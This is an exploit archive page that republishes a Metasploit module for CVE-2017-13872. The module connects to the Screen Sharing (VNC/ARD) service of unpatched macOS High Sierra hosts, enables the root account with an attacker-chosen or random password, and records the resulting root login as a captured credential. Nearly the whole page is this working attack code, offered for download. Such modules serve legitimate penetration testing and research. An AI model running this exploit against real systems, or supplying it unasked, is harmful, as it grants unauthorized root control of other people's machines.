exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apple Remote Desktop Root

Apple Remote Desktop Root
Posted Sep 1, 2024
Authored by jgor | Site metasploit.com

Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.

tags | exploit, remote, root
advisories | CVE-2017-13872
SHA-256 | 93618f0baeb5c0e067ea241b7e1873b7821075be229823de87b392c83e276231

Apple Remote Desktop Root

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Apple Remote Desktop Root Vulnerability',
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
'References' =>
[
['CVE', '2017-13872'],
['URL', 'https://support.apple.com/en-us/HT208315']
],
'Author' => 'jgor',
'License' => MSF_LICENSE
)

register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
])
end

def log_credential(password)
print_good("Login succeeded - root:#{password}")

service_data = {
address: target_host,
port: rport,
service_name: 'vnc',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: 'root',
private_data: password,
private_type: :password
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)

create_credential_login(login_data)
end

def run_host(target_host)
begin
if datastore['PASSWORD'].empty?
password = Rex::Text::rand_text_alphanumeric(16)
else
password = datastore['PASSWORD']
end

connect
vnc = Rex::Proto::RFB::Client.new(sock)
if vnc.handshake
type = vnc.negotiate_authentication
unless type = Rex::Proto::RFB::AuthType::ARD
print_error("VNC server does not advertise security type ARD.")
return
end
print_status("Attempting authentication as root.")
if vnc.authenticate_with_type(type, 'root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect

connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with chosen password.")
if vnc.handshake
if vnc.authenticate_with_user('root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect

connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with empty password.")
if vnc.handshake
if vnc.authenticate_with_user('root', '')
log_credential('')
return
end
else
print_error("VNC handshake failed.")
return
end

ensure
disconnect
end

end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close